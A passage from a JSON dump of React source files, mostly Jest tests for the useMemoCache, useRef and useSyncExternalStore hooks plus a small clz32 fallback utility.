{\n      const cache = useMemoCache(1);\n      expect(Array.isArray(cache)).toBe(true);\n      expect(cache.length).toBe(1);\n      expect(cache[0]).toBe(MemoCacheSentinel);\n\n      return 'Ok';\n    }\n    const root = ReactNoop.createRoot();\n    await act(() => {\n      root.render(<Component />);\n    });\n    expect(root).toMatchRenderedOutput('Ok');\n  });\n\n  it('update component using cache', async () => {\n    let setX;\n    let forceUpdate;\n    function Component(props) {\n      const cache = useMemoCache(5);\n\n      // x is used to produce a `data` object passed to the child\n      const [x, _setX] = useState(0);\n      setX = _setX;\n\n      // n is passed as-is to the child as a cache breaker\n      const [n, setN] = useState(0);\n      forceUpdate = () => setN(a => a + 1);\n\n      const c_0 = x !== cache[0];\n      let data;\n      if (c_0) {\n        data = {text: `Count ${x}`};\n        cache[0] = x;\n        cache[1] = data;\n      } else {\n        data = cache[1];\n      }\n      const c_2 = x !== cache[2];\n      const c_3 = n !== cache[3];\n      let t0;\n      if (c_2 || c_3) {\n        t0 = <Text data={data} n={n} />;\n        cache[2] = x;\n        cache[3] = n;\n        cache[4] = t0;\n      } else {\n        t0 = cache[4];\n      }\n      return t0;\n    }\n    let data;\n    const Text = jest.fn(function Text(props) {\n      data = props.data;\n      return data.text;\n    });\n\n    const root = ReactNoop.createRoot();\n    await act(() => {\n      root.render(<Component />);\n    });\n    expect(root).toMatchRenderedOutput('Count 0');\n    expect(Text).toBeCalledTimes(1);\n    const data0 = data;\n\n    // Changing x should reset the data object\n    await act(() => {\n      setX(1);\n    });\n    expect(root).toMatchRenderedOutput('Count 1');\n    expect(Text).toBeCalledTimes(2);\n    expect(data).not.toBe(data0);\n    const data1 = data;\n\n    // Forcing an unrelated update shouldn't recreate the\n    // data object.\n    await act(() => {\n      forceUpdate();\n    });\n    expect(root).toMatchRenderedOutput('Count 1');\n    expect(Text).toBeCalledTimes(3);\n    expect(data).toBe(data1); // confirm that the cache persisted across renders\n  });\n\n  it('update component using cache with setstate during render', async () => {\n    let setN;\n    function Component(props) {\n      const cache = useMemoCache(5);\n\n      // x is used to produce a `data` object passed to the child\n      const [x] = useState(0);\n\n      const c_0 = x !== cache[0];\n      let data;\n      if (c_0) {\n        data = {text: `Count ${x}`};\n        cache[0] = x;\n        cache[1] = data;\n      } else {\n        data = cache[1];\n      }\n\n      // n is passed as-is to the child as a cache breaker\n      const [n, _setN] = useState(0);\n      setN = _setN;\n\n      if (n === 1) {\n        setN(2);\n        return;\n      }\n\n      const c_2 = x !== cache[2];\n      const c_3 = n !== cache[3];\n      let t0;\n      if (c_2 || c_3) {\n        t0 = <Text data={data} n={n} />;\n        cache[2] = x;\n        cache[3] = n;\n        cache[4] = t0;\n      } else {\n        t0 = cache[4];\n      }\n      return t0;\n    }\n    let data;\n    const Text = jest.fn(function Text(props) {\n      data = props.data;\n      return `${data.text} (n=${props.n})`;\n    });\n\n    const root = ReactNoop.createRoot();\n    await act(() => {\n      root.render(<Component />);\n    });\n    expect(root).toMatchRenderedOutput('Count 0 (n=0)');\n    expect(Text).toBeCalledTimes(1);\n    const data0 = data;\n\n    // Trigger an update that will cause a setState during render. The `data` prop\n    // does not depend on `n`, and should remain cached.\n    await act(() => {\n      setN(1);\n    });\n    expect(root).toMatchRenderedOutput('Count 0 (n=2)');\n    expect(Text).toBeCalledTimes(2);\n    expect(data).toBe(data0);\n  });\n\n  it('update component using cache with throw during render', async () => {\n    let setN;\n    let shouldFail = true;\n    function Component(props) {\n      const cache = useMemoCache(5);\n\n      // x is used to produce a `data` object passed to the child\n      const [x] = useState(0);\n\n      const c_0 = x !== cache[0];\n      let data;\n      if (c_0) {\n        data = {text: `Count ${x}`};\n        cache[0] = x;\n        cache[1] = data;\n      } else {\n        data = cache[1];\n      }\n\n      // n is passed as-is to the child as a cache breaker\n      const [n, _setN] = useState(0);\n      setN = _setN;\n\n      if (n === 1) {\n        if (shouldFail) {\n          shouldFail = false;\n          throw new Error('failed');\n        }\n      }\n\n      const c_2 = x !== cache[2];\n      const c_3 = n !== cache[3];\n      let t0;\n      if (c_2 || c_3) {\n        t0 = <Text data={data} n={n} />;\n        cache[2] = x;\n        cache[3] = n;\n        cache[4] = t0;\n      } else {\n        t0 = cache[4];\n      }\n      return t0;\n    }\n    let data;\n    const Text = jest.fn(function Text(props) {\n      data = props.data;\n      return `${data.text} (n=${props.n})`;\n    });\n\n    const root = ReactNoop.createRoot();\n    await act(() => {\n      root.render(\n        <ErrorBoundary>\n          <Component />\n        </ErrorBoundary>,\n      );\n    });\n    expect(root).toMatchRenderedOutput('Count 0 (n=0)');\n    expect(Text).toBeCalledTimes(1);\n    const data0 = data;\n\n    await act(() => {\n      // this triggers a throw.\n      setN(1);\n    });\n    assertConsoleErrorDev([\n      'Error: There was an error during concurrent rendering but React was able to recover by instead synchronously rendering the entire root.' +\n        '\\n    in <stack>',\n    ]);\n    expect(root).toMatchRenderedOutput('Count 0 (n=1)');\n    expect(Text).toBeCalledTimes(2);\n    expect(data).toBe(data0);\n    const data1 = data;\n\n    // Forcing an unrelated update shouldn't recreate the\n    // data object.\n    await act(() => {\n      setN(2);\n    });\n    expect(root).toMatchRenderedOutput('Count 0 (n=2)');\n    expect(Text).toBeCalledTimes(3);\n    expect(data).toBe(data1); // confirm that the cache persisted across renders\n  });\n\n  it('update component and custom hook with caches', async () => {\n    let setX;\n    let forceUpdate;\n    function Component(props) {\n      const cache = useMemoCache(4);\n\n      // x is used to produce a `data` object passed to the child\n      const [x, _setX] = useState(0);\n      setX = _setX;\n      const c_x = x !== cache[0];\n      cache[0] = x;\n\n      // n is passed as-is to the child as a cache breaker\n      const [n, setN] = useState(0);\n      forceUpdate = () => setN(a => a + 1);\n      const c_n = n !== cache[1];\n      cache[1] = n;\n\n      let _data;\n      if (c_x) {\n        _data = cache[2] = {text: `Count ${x}`};\n      } else {\n        _data = cache[2];\n      }\n      const data = useData(_data);\n      if (c_x || c_n) {\n        return (cache[3] = <Text data={data} n={n} />);\n      } else {\n        return cache[3];\n      }\n    }\n    function useData(data) {\n      const cache = useMemoCache(2);\n      const c_data = data !== cache[0];\n      cache[0] = data;\n      let nextData;\n      if (c_data) {\n        nextData = cache[1] = {text: data.text.toLowerCase()};\n      } else {\n        nextData = cache[1];\n      }\n      return nextData;\n    }\n    let data;\n    const Text = jest.fn(function Text(props) {\n      data = props.data;\n      return data.text;\n    });\n\n    const root = ReactNoop.createRoot();\n    await act(() => {\n      root.render(<Component />);\n    });\n    expect(root).toMatchRenderedOutput('count 0');\n    expect(Text).toBeCalledTimes(1);\n    const data0 = data;\n\n    // Changing x should reset the data object\n    await act(() => {\n      setX(1);\n    });\n    expect(root).toMatchRenderedOutput('count 1');\n    expect(Text).toBeCalledTimes(2);\n    expect(data).not.toBe(data0);\n    const data1 = data;\n\n    // Forcing an unrelated update shouldn't recreate the\n    // data object.\n    await act(() => {\n      forceUpdate();\n    });\n    expect(root).toMatchRenderedOutput('count 1');\n    expect(Text).toBeCalledTimes(3);\n    expect(data).toBe(data1); // confirm that the cache persisted across renders\n  });\n\n  it('reuses computations from suspended/interrupted render attempts during an update', async () => {\n    // This test demonstrates the benefit of a shared memo cache. By \"shared\" I\n    // mean multiple concurrent render attempts of the same component/hook use\n    // the same cache. (When the feature flag is off, we don't do this — the\n    // cache is copy-on-write.)\n    //\n    // If an update is interrupted, either because it suspended or because of\n    // another update, we can reuse the memoized computations from the previous\n    // attempt. We can do this because the React Compiler performs atomic writes\n    // to the memo cache, i.e. it will not record the inputs to a memoization\n    // without also recording its output.\n    //\n    // This gives us a form of \"resuming\" within components and hooks.\n    //\n    // This only works when updating a component that already mounted. It has no\n    // impact during initial render, because the memo cache is stored on the\n    // fiber, and since we have not implemented resuming for fibers, it's always\n    // a fresh memo cache, anyway.\n    //\n    // However, this alone is pretty useful — it happens whenever you update the\n    // UI with fresh data after a mutation/action, which is extremely common in\n    // a Suspense-driven (e.g. RSC or Relay) app. That's the scenario that this\n    // test simulates.\n    //\n    // So the impact of this feature is faster data mutations/actions.\n\n    function someExpensiveProcessing(t) {\n      Scheduler.log(`Some expensive processing... [${t}]`);\n      return t;\n    }\n\n    function useWithLog(t, msg) {\n      try {\n        return React.use(t);\n      } catch (x) {\n        Scheduler.log(`Suspend! [${msg}]`);\n        throw x;\n      }\n    }\n\n    // Original code:\n    //\n    //   function Data({chunkA, chunkB}) {\n    //     const a = someExpensiveProcessing(useWithLog(chunkA, 'chunkA'));\n    //     const b = useWithLog(chunkB, 'chunkB');\n    //     return (\n    //       <>\n    //         {a}\n    //         {b}\n    //       </>\n    //     );\n    //   }\n    //\n    //   function Input() {\n    //     const [input, _setText] = useState('');\n    //     return input;\n    //   }\n    //\n    //   function App({chunkA, chunkB}) {\n    //     return (\n    //       <>\n    //         <div>\n    //           Input: <Input />\n    //         </div>\n    //         <div>\n    //           Data: <Data chunkA={chunkA} chunkB={chunkB} />\n    //         </div>\n    //       </>\n    //     );\n    //   }\n    function Data(t0) {\n      const $ = useMemoCache(5);\n      const {chunkA, chunkB} = t0;\n      const t1 = useWithLog(chunkA, 'chunkA');\n      let t2;\n\n      if ($[0] !== t1) {\n        t2 = someExpensiveProcessing(t1);\n        $[0] = t1;\n        $[1] = t2;\n      } else {\n        t2 = $[1];\n      }\n\n      const a = t2;\n      const b = useWithLog(chunkB, 'chunkB');\n      let t3;\n\n      if ($[2] !== a || $[3] !== b) {\n        t3 = (\n          <>\n            {a}\n            {b}\n          </>\n        );\n        $[2] = a;\n        $[3] = b;\n        $[4] = t3;\n      } else {\n        t3 = $[4];\n      }\n\n      return t3;\n    }\n\n    let setInput;\n    function Input() {\n      const [input, _set] = useState('');\n      setInput = _set;\n      return input;\n    }\n\n    function App(t0) {\n      const $ = useMemoCache(4);\n      const {chunkA, chunkB} = t0;\n      let t1;\n\n      if ($[0] === Symbol.for('react.memo_cache_sentinel')) {\n        t1 = (\n          <div>\n            Input: <Input />\n          </div>\n        );\n        $[0] = t1;\n      } else {\n        t1 = $[0];\n      }\n\n      let t2;\n\n      if ($[1] !== chunkA || $[2] !== chunkB) {\n        t2 = (\n          <>\n            {t1}\n            <div>\n              Data: <Data chunkA={chunkA} chunkB={chunkB} />\n            </div>\n          </>\n        );\n        $[1] = chunkA;\n        $[2] = chunkB;\n        $[3] = t2;\n      } else {\n        t2 = $[3];\n      }\n\n      return t2;\n    }\n\n    function createInstrumentedResolvedPromise(value) {\n      return {\n        then() {},\n        status: 'fulfilled',\n        value,\n      };\n    }\n\n    function createDeferred() {\n      let resolve;\n      const p = new Promise(res => {\n        resolve = res;\n      });\n      p.resolve = resolve;\n      return p;\n    }\n\n    // Initial render. We pass the data in as two separate \"chunks\" to simulate\n    // a stream (e.g. RSC).\n    const root = ReactNoop.createRoot();\n    const initialChunkA = createInstrumentedResolvedPromise('A1');\n    const initialChunkB = createInstrumentedResolvedPromise('B1');\n    await act(() =>\n      root.render(<App chunkA={initialChunkA} chunkB={initialChunkB} />),\n    );\n    assertLog(['Some expensive processing... [A1]']);\n    expect(root).toMatchRenderedOutput(\n      <>\n        <div>Input: </div>\n        <div>Data: A1B1</div>\n      </>,\n    );\n\n    // Update the UI in a transition. This would happen after a data mutation.\n    const updatedChunkA = createDeferred();\n    const updatedChunkB = createDeferred();\n    await act(() => {\n      React.startTransition(() => {\n        root.render(<App chunkA={updatedChunkA} chunkB={updatedChunkB} />);\n      });\n    });\n    assertLog(['Suspend! [chunkA]']);\n\n    // The data starts to stream in. Loading the data in the first chunk\n    // triggers an expensive computation in the UI. Later, we'll test whether\n    // this computation is reused.\n    await act(() => updatedChunkA.resolve('A2'));\n    assertLog(['Some expensive processing... [A2]', 'Suspend! [chunkB]']);\n\n    // The second chunk hasn't loaded yet, so we're still showing the\n    // initial UI.\n    expect(root).toMatchRenderedOutput(\n      <>\n        <div>Input: </div>\n        <div>Data: A1B1</div>\n      </>,\n    );\n\n    // While waiting for the data to finish loading, update a different part of\n    // the screen. This interrupts the refresh transition.\n    //\n    // In a real app, this might be an input or hover event.\n    await act(() => setInput('hi!'));\n\n    // Once the input has updated, we go back to rendering the transition.\n    if (gate(flags => flags.enableNoCloningMemoCache)) {\n      // We did not have process the first chunk again. We reused the\n      // computation from the earlier attempt.\n      assertLog(['Suspend! [chunkB]']);\n    } else {\n      // Because we clone/reset the memo cache after every aborted attempt, we\n      // must process the first chunk again.\n      assertLog(['Some expensive processing... [A2]', 'Suspend! [chunkB]']);\n    }\n\n    expect(root).toMatchRenderedOutput(\n      <>\n        <div>Input: hi!</div>\n        <div>Data: A1B1</div>\n      </>,\n    );\n\n    // Finish loading the data.\n    await act(() => updatedChunkB.resolve('B2'));\n    if (gate(flags => flags.enableNoCloningMemoCache)) {\n      // We did not have process the first chunk again. We reused the\n      // computation from the earlier attempt.\n      assertLog([]);\n    } else {\n      // Because we clone/reset the memo cache after every aborted attempt, we\n      // must process the first chunk again.\n      //\n      // That's three total times we've processed the first chunk, compared to\n      // just once when enableNoCloningMemoCache is on.\n      assertLog(['Some expensive processing... [A2]']);\n    }\n    expect(root).toMatchRenderedOutput(\n      <>\n        <div>Input: hi!</div>\n        <div>Data: A2B2</div>\n      </>,\n    );\n  });\n\n  it('(repro) infinite renders when used with setState during render', async () => {\n    // Output of react compiler on `useUserMemo`\n    function useCompilerMemo(value) {\n      let arr;\n      const $ = useMemoCache(2);\n      if ($[0] !== value) {\n        arr = [value];\n        $[0] = value;\n        $[1] = arr;\n      } else {\n        arr = $[1];\n      }\n      return arr;\n    }\n\n    // Baseline / source code\n    function useManualMemo(value) {\n      return useMemo(() => [value], [value]);\n    }\n\n    function makeComponent(hook) {\n      return function Component({value}) {\n        const state = hook(value);\n        const [prevState, setPrevState] = useState(null);\n        if (state !== prevState) {\n          setPrevState(state);\n        }\n        return <div>{state.join(',')}</div>;\n      };\n    }\n\n    /**\n     * Test with useMemoCache\n     */\n    let root = ReactNoop.createRoot();\n    const CompilerMemoComponent = makeComponent(useCompilerMemo);\n    await act(() => {\n      root.render(<CompilerMemoComponent value={2} />);\n    });\n    expect(root).toMatchRenderedOutput(<div>2</div>);\n\n    /**\n     * Test with useMemo\n     */\n    root = ReactNoop.createRoot();\n    const HookMemoComponent = makeComponent(useManualMemo);\n    await act(() => {\n      root.render(<HookMemoComponent value={2} />);\n    });\n    expect(root).toMatchRenderedOutput(<div>2</div>);\n  });\n});\n"
  },
  {
    "path": "packages/react-reconciler/src/__tests__/useRef-test.internal.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n * @jest-environment node\n */\n\n'use strict';\n\ndescribe('useRef', () => {\n  let React;\n  let ReactNoop;\n  let Scheduler;\n  let act;\n  let useCallback;\n  let useEffect;\n  let useLayoutEffect;\n  let useRef;\n  let useState;\n  let waitForAll;\n  let assertLog;\n\n  beforeEach(() => {\n    React = require('react');\n    ReactNoop = require('react-noop-renderer');\n    Scheduler = require('scheduler');\n\n    act = require('internal-test-utils').act;\n    useCallback = React.useCallback;\n    useEffect = React.useEffect;\n    useLayoutEffect = React.useLayoutEffect;\n    useRef = React.useRef;\n    useState = React.useState;\n\n    const InternalTestUtils = require('internal-test-utils');\n    waitForAll = InternalTestUtils.waitForAll;\n    assertLog = InternalTestUtils.assertLog;\n  });\n\n  function Text(props) {\n    Scheduler.log(props.text);\n    return <span prop={props.text} />;\n  }\n\n  it('creates a ref object initialized with the provided value', async () => {\n    jest.useFakeTimers();\n\n    function useDebouncedCallback(callback, ms, inputs) {\n      const timeoutID = useRef(-1);\n      useEffect(() => {\n        return function unmount() {\n          clearTimeout(timeoutID.current);\n        };\n      }, []);\n      const debouncedCallback = useCallback(\n        (...args) => {\n          clearTimeout(timeoutID.current);\n          timeoutID.current = setTimeout(callback, ms, ...args);\n        },\n        [callback, ms],\n      );\n      return useCallback(debouncedCallback, inputs);\n    }\n\n    let ping;\n    function App() {\n      ping = useDebouncedCallback(\n        value => {\n          Scheduler.log('ping: ' + value);\n        },\n        100,\n        [],\n      );\n      return null;\n    }\n\n    await act(() => {\n      ReactNoop.render(<App />);\n    });\n    assertLog([]);\n\n    ping(1);\n    ping(2);\n    ping(3);\n\n    assertLog([]);\n\n    jest.advanceTimersByTime(100);\n\n    assertLog(['ping: 3']);\n\n    ping(4);\n    jest.advanceTimersByTime(20);\n    ping(5);\n    ping(6);\n    jest.advanceTimersByTime(80);\n\n    assertLog([]);\n\n    jest.advanceTimersByTime(20);\n    assertLog(['ping: 6']);\n  });\n\n  it('should return the same ref during re-renders', async () => {\n    function Counter() {\n      const ref = useRef('val');\n      const [count, setCount] = useState(0);\n      const [firstRef] = useState(ref);\n\n      if (firstRef !== ref) {\n        throw new Error('should never change');\n      }\n\n      if (count < 3) {\n        setCount(count + 1);\n      }\n\n      return <Text text={count} />;\n    }\n\n    ReactNoop.render(<Counter />);\n    await waitForAll([3]);\n\n    ReactNoop.render(<Counter />);\n    await waitForAll([3]);\n  });\n\n  if (__DEV__) {\n    it('should never warn when attaching to children', async () => {\n      class Component extends React.Component {\n        render() {\n          return null;\n        }\n      }\n\n      function Example({phase}) {\n        const hostRef = useRef();\n        const classRef = useRef();\n        return (\n          <>\n            <div key={`host-${phase}`} ref={hostRef} />\n            <Component key={`class-${phase}`} ref={classRef} />\n          </>\n        );\n      }\n\n      await act(() => {\n        ReactNoop.render(<Example phase=\"mount\" />);\n      });\n      await act(() => {\n        ReactNoop.render(<Example phase=\"update\" />);\n      });\n    });\n\n    it('should not warn about lazy init during render', async () => {\n      function Example() {\n        const ref1 = useRef(null);\n        const ref2 = useRef(undefined);\n        // Read: safe because lazy init:\n        if (ref1.current === null) {\n          ref1.current = 123;\n        }\n        if (ref2.current === undefined) {\n          ref2.current = 123;\n        }\n        return null;\n      }\n\n      await act(() => {\n        ReactNoop.render(<Example />);\n      });\n\n      // Should not warn after an update either.\n      await act(() => {\n        ReactNoop.render(<Example />);\n      });\n    });\n\n    it('should not warn about lazy init outside of render', async () => {\n      function Example() {\n        // eslint-disable-next-line no-unused-vars\n        const [didMount, setDidMount] = useState(false);\n        const ref1 = useRef(null);\n        const ref2 = useRef(undefined);\n        useLayoutEffect(() => {\n          ref1.current = 123;\n          ref2.current = 123;\n          setDidMount(true);\n        }, []);\n        return null;\n      }\n\n      await act(() => {\n        ReactNoop.render(<Example />);\n      });\n    });\n\n    it('should not warn about reads or writes within effect', async () => {\n      function Example() {\n        const ref = useRef(123);\n        useLayoutEffect(() => {\n          expect(ref.current).toBe(123);\n          ref.current = 456;\n          expect(ref.current).toBe(456);\n        }, []);\n        useEffect(() => {\n          expect(ref.current).toBe(456);\n          ref.current = 789;\n          expect(ref.current).toBe(789);\n        }, []);\n        return null;\n      }\n\n      await act(() => {\n        ReactNoop.render(<Example />);\n      });\n\n      ReactNoop.flushPassiveEffects();\n    });\n\n    it('should not warn about reads or writes outside of render phase (e.g. event handler)', async () => {\n      let ref;\n      function Example() {\n        ref = useRef(123);\n        return null;\n      }\n\n      await act(() => {\n        ReactNoop.render(<Example />);\n      });\n\n      expect(ref.current).toBe(123);\n      ref.current = 456;\n      expect(ref.current).toBe(456);\n    });\n  }\n});\n"
  },
  {
    "path": "packages/react-reconciler/src/__tests__/useSyncExternalStore-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\nlet useSyncExternalStore;\nlet React;\nlet ReactNoop;\nlet Scheduler;\nlet act;\nlet useLayoutEffect;\nlet forwardRef;\nlet useImperativeHandle;\nlet useRef;\nlet useState;\nlet use;\nlet startTransition;\nlet waitFor;\nlet waitForAll;\nlet assertLog;\nlet Suspense;\nlet useMemo;\nlet textCache;\n\n// This tests the native useSyncExternalStore implementation, not the shim.\n// Tests that apply to both the native implementation and the shim should go\n// into useSyncExternalStoreShared-test.js. The reason they are separate is\n// because at some point we may start running the shared tests against vendored\n// React DOM versions (16, 17, etc) instead of React Noop.\ndescribe('useSyncExternalStore', () => {\n  beforeEach(() => {\n    jest.resetModules();\n\n    React = require('react');\n    ReactNoop = require('react-noop-renderer');\n    Scheduler = require('scheduler');\n    useLayoutEffect = React.useLayoutEffect;\n    useImperativeHandle = React.useImperativeHandle;\n    forwardRef = React.forwardRef;\n    useRef = React.useRef;\n    useState = React.useState;\n    use = React.use;\n    useSyncExternalStore = React.useSyncExternalStore;\n    startTransition = React.startTransition;\n    Suspense = React.Suspense;\n    useMemo = React.useMemo;\n    textCache = new Map();\n    const InternalTestUtils = require('internal-test-utils');\n    waitFor = InternalTestUtils.waitFor;\n    waitForAll = InternalTestUtils.waitForAll;\n    assertLog = InternalTestUtils.assertLog;\n\n    act = require('internal-test-utils').act;\n  });\n\n  function resolveText(text) {\n    const record = textCache.get(text);\n    if (record === undefined) {\n      const newRecord = {\n        status: 'resolved',\n        value: text,\n      };\n      textCache.set(text, newRecord);\n    } else if (record.status === 'pending') {\n      const thenable = record.value;\n      record.status = 'resolved';\n      record.value = text;\n      thenable.pings.forEach(t => t());\n    }\n  }\n  function readText(text) {\n    const record = textCache.get(text);\n    if (record !== undefined) {\n      switch (record.status) {\n        case 'pending':\n          throw record.value;\n        case 'rejected':\n          throw record.value;\n        case 'resolved':\n          return record.value;\n      }\n    } else {\n      const thenable = {\n        pings: [],\n        then(resolve) {\n          if (newRecord.status === 'pending') {\n            thenable.pings.push(resolve);\n          } else {\n            Promise.resolve().then(() => resolve(newRecord.value));\n          }\n        },\n      };\n\n      const newRecord = {\n        status: 'pending',\n        value: thenable,\n      };\n      textCache.set(text, newRecord);\n\n      throw thenable;\n    }\n  }\n\n  function AsyncText({text}) {\n    const result = readText(text);\n    Scheduler.log(text);\n    return result;\n  }\n\n  function Text({text}) {\n    Scheduler.log(text);\n    return text;\n  }\n\n  function createExternalStore(initialState) {\n    const listeners = new Set();\n    let currentState = initialState;\n    return {\n      set(text) {\n        currentState = text;\n        ReactNoop.batchedUpdates(() => {\n          listeners.forEach(listener => listener());\n        });\n      },\n      subscribe(listener) {\n        listeners.add(listener);\n        return () => listeners.delete(listener);\n      },\n      getState() {\n        return currentState;\n      },\n      getSubscriberCount() {\n        return listeners.size;\n      },\n    };\n  }\n\n  it(\n    'detects interleaved mutations during a concurrent read before ' +\n      'layout effects fire',\n    async () => {\n      const store1 = createExternalStore(0);\n      const store2 = createExternalStore(0);\n\n      const Child = forwardRef(({store, label}, ref) => {\n        const value = useSyncExternalStore(store.subscribe, store.getState);\n        useImperativeHandle(ref, () => {\n          return value;\n        }, []);\n        return <Text text={label + value} />;\n      });\n\n      function App({store}) {\n        const refA = useRef(null);\n        const refB = useRef(null);\n        const refC = useRef(null);\n        useLayoutEffect(() => {\n          // This layout effect reads children that depend on an external store.\n          // This demostrates whether the children are consistent when the\n          // layout phase runs.\n          const aText = refA.current;\n          const bText = refB.current;\n          const cText = refC.current;\n          Scheduler.log(\n            `Children observed during layout: A${aText}B${bText}C${cText}`,\n          );\n        });\n        return (\n          <>\n            <Child store={store} ref={refA} label=\"A\" />\n            <Child store={store} ref={refB} label=\"B\" />\n            <Child store={store} ref={refC} label=\"C\" />\n          </>\n        );\n      }\n\n      const root = ReactNoop.createRoot();\n      await act(async () => {\n        // Start a concurrent render that reads from the store, then yield.\n        startTransition(() => {\n          root.render(<App store={store1} />);\n        });\n\n        await waitFor(['A0', 'B0']);\n\n        // During an interleaved event, the store is mutated.\n        store1.set(1);\n\n        // Then we continue rendering.\n        await waitForAll([\n          // C reads a newer value from the store than A or B, which means they\n          // are inconsistent.\n          'C1',\n\n          // Before committing the layout effects, React detects that the store\n          // has been mutated. So it throws out the entire completed tree and\n          // re-renders the new values.\n          'A1',\n          'B1',\n          'C1',\n          // The layout effects reads consistent children.\n          'Children observed during layout: A1B1C1',\n        ]);\n      });\n\n      // Now we're going test the same thing during an update that\n      // switches stores.\n      await act(async () => {\n        startTransition(() => {\n          root.render(<App store={store2} />);\n        });\n\n        // Start a concurrent render that reads from the store, then yield.\n        await waitFor(['A0', 'B0']);\n\n        // During an interleaved event, the store is mutated.\n        store2.set(1);\n\n        // Then we continue rendering.\n        await waitForAll([\n          // C reads a newer value from the store than A or B, which means they\n          // are inconsistent.\n          'C1',\n\n          // Before committing the layout effects, React detects that the store\n          // has been mutated. So it throws out the entire completed tree and\n          // re-renders the new values.\n          'A1',\n          'B1',\n          'C1',\n          // The layout effects reads consistent children.\n          'Children observed during layout: A1B1C1',\n        ]);\n      });\n    },\n  );\n\n  it('next value is correctly cached when state is dispatched in render phase', async () => {\n    const store = createExternalStore('value:initial');\n\n    function App() {\n      const value = useSyncExternalStore(store.subscribe, store.getState);\n      const [sameValue, setSameValue] = useState(value);\n      if (value !== sameValue) setSameValue(value);\n      return <Text text={value} />;\n    }\n\n    const root = ReactNoop.createRoot();\n    await act(() => {\n      // Start a render that reads from the store and yields value\n      root.render(<App />);\n    });\n    assertLog(['value:initial']);\n\n    await act(() => {\n      store.set('value:changed');\n    });\n    assertLog(['value:changed']);\n\n    // If cached value was updated, we expect a re-render\n    await act(() => {\n      store.set('value:initial');\n    });\n    assertLog(['value:initial']);\n  });\n\n  it(\n    'regression: suspending in shell after synchronously patching ' +\n      'up store mutation',\n    async () => {\n      // Tests a case where a store is mutated during a concurrent event, then\n      // during the sync re-render, a synchronous render is triggered.\n\n      const store = createExternalStore('Initial');\n\n      let resolve;\n      const promise = new Promise(r => {\n        resolve = r;\n      });\n\n      function A() {\n        const value = useSyncExternalStore(store.subscribe, store.getState);\n\n        if (value === 'Updated') {\n          try {\n            use(promise);\n          } catch (x) {\n            Scheduler.log('Suspend A');\n            throw x;\n          }\n        }\n\n        return <Text text={'A: ' + value} />;\n      }\n\n      function B() {\n        const value = useSyncExternalStore(store.subscribe, store.getState);\n        return <Text text={'B: ' + value} />;\n      }\n\n      function App() {\n        return (\n          <>\n            <span>\n              <A />\n            </span>\n            <span>\n              <B />\n            </span>\n          </>\n        );\n      }\n\n      const root = ReactNoop.createRoot();\n      await act(async () => {\n        // A and B both read from the same store. Partially render A.\n        startTransition(() => root.render(<App />));\n        // A reads the initial value of the store.\n        await waitFor(['A: Initial']);\n\n        // Before B renders, mutate the store.\n        store.set('Updated');\n      });\n      assertLog([\n        // B reads the updated value of the store.\n        'B: Updated',\n        // This should a synchronous re-render of A using the updated value. In\n        // this test, this causes A to suspend.\n        'Suspend A',\n        // pre-warming\n        'B: Updated',\n      ]);\n      // Nothing has committed, because A suspended and no fallback\n      // was provided.\n      expect(root).toMatchRenderedOutput(null);\n\n      // Resolve the data and finish rendering.\n      await act(() => resolve());\n      assertLog(['A: Updated', 'B: Updated']);\n      expect(root).toMatchRenderedOutput(\n        <>\n          <span>A: Updated</span>\n          <span>B: Updated</span>\n        </>,\n      );\n    },\n  );\n\n  it('regression: does not infinite loop for only changing store reference in render', async () => {\n    let store = {value: {}};\n    let listeners = [];\n\n    const ExternalStore = {\n      set(value) {\n        // Change the store ref, but not the value.\n        // This will cause a new snapshot to be returned if set is called in render,\n        // but the value is the same. Stores should not do this, but if they do\n        // we shouldn't infinitely render.\n        store = {...store};\n        setTimeout(() => {\n          store = {value};\n          emitChange();\n        }, 100);\n        emitChange();\n      },\n      subscribe(listener) {\n        listeners = [...listeners, listener];\n        return () => {\n          listeners = listeners.filter(l => l !== listener);\n        };\n      },\n      getSnapshot() {\n        return store;\n      },\n    };\n\n    function emitChange() {\n      listeners.forEach(l => l());\n    }\n\n    function StoreText() {\n      const {value} = useSyncExternalStore(\n        ExternalStore.subscribe,\n        ExternalStore.getSnapshot,\n      );\n\n      useMemo(() => {\n        // Set the store value on mount.\n        // This breaks the rules of React, but should be handled gracefully.\n        const newValue = {text: 'B'};\n        if (value == null || newValue !== value) {\n          ExternalStore.set(newValue);\n        }\n      }, []);\n\n      return <Text text={value.text || '(not set)'} />;\n    }\n\n    function App() {\n      return (\n        <>\n          <Suspense fallback={'Loading...'}>\n            <AsyncText text={'A'} />\n            <StoreText />\n          </Suspense>\n        </>\n      );\n    }\n\n    const root = ReactNoop.createRoot();\n\n    // The initial render suspends.\n    await act(async () => {\n      root.render(<App />);\n    });\n\n    // pre-warming\n    assertLog(['(not set)']);\n\n    expect(root).toMatchRenderedOutput('Loading...');\n\n    // Resolve the data and finish rendering.\n    // When resolving, the store should not get stuck in an infinite loop.\n    await act(() => {\n      resolveText('A');\n    });\n    assertLog([\n      'A',\n      'B',\n      'A',\n      'B',\n      'B',\n      ...(gate('alwaysThrottleRetries') ? [] : ['B']),\n    ]);\n\n    expect(root).toMatchRenderedOutput('AB');\n  });\n});\n"
  },
  {
    "path": "packages/react-reconciler/src/clz32.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\n// TODO: This is pretty well supported by browsers. Maybe we can drop it.\n\nexport const clz32: (x: number) => number = Math.clz32\n  ? Math.clz32\n  : clz32Fallback;\n\n// Count leading zeros.\n// Based on:\n// https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/clz32\nconst log = Math.log;\nconst LN2 = Math.LN2;\nfunction clz32Fallback(x: number): number {\n  const asUint = x >>> 0;\n  if (asUint === 0) {\n    return 32;\n  }\n  return (31 - ((log(asUint) / LN2) | 0)) | 0;\n}\n"
  },
  {
    "path": "packages/react-reconciler/src/forks/ReactFiberConfig.art.js",
